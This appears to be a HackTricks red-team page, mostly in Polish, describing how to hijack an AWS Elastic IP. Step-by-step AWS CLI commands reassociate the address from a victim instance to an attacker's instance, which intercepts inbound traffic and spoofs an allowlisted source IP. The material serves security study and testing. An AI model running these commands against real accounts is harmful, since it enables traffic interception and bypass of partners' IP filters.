AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podsumowanie

Wykorzystaj ec2:AssociateAddress (i opcjonalnie ec2:DisassociateAddress) do ponownego powiązania Elastic IP (EIP) z instancji/ENI ofiary na instancję/ENI atakującego. Przekierowuje to ruch przychodzący skierowany do EIP do atakującego i pozwala atakującemu inicjować ruch wychodzący z dozwolonego publicznego adresu IP, omijając zewnętrzne zapory partnerów.

Wymagania wstępne

  • Target EIP allocation ID in the same account/VPC.
  • Instancja/ENI atakującego, którą kontrolujesz.
  • Uprawnienia:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress on the EIP allocation-id and on the attacker instance/ENI
  • ec2:DisassociateAddress (opcjonalnie). Uwaga: --allow-reassociation automatycznie odłączy od poprzedniego powiązania.

Atak

Zmienne

REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. Przydziel lub zidentyfikuj EIP ofiary (laboratorium przydziela nowy i przypisuje go do ofiary)
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. Zweryfikuj, że EIP aktualnie rozwiązuje się do victim service (przykładowe sprawdzenia dla banner)
curl -sS http://$EIP | grep -i victim
  1. Ponownie przypisz EIP do atakującego (automatycznie odłączy go od ofiary)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. Zweryfikuj, że EIP teraz wskazuje na usługę atakującego
sleep 5; curl -sS http://$EIP | grep -i attacker

Dowody (przeniesione powiązanie):

aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

Wpływ

  • Inbound impersonation: Cały ruch do przejętego EIP jest dostarczany do attacker instance/ENI.
  • Outbound impersonation: Attacker może inicjować ruch, który wygląda na pochodzący z adresu IP znajdującego się na liście dozwolonych (przydatne do ominięcia filtrów źródłowych IP partnerów/zewnętrznych).

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks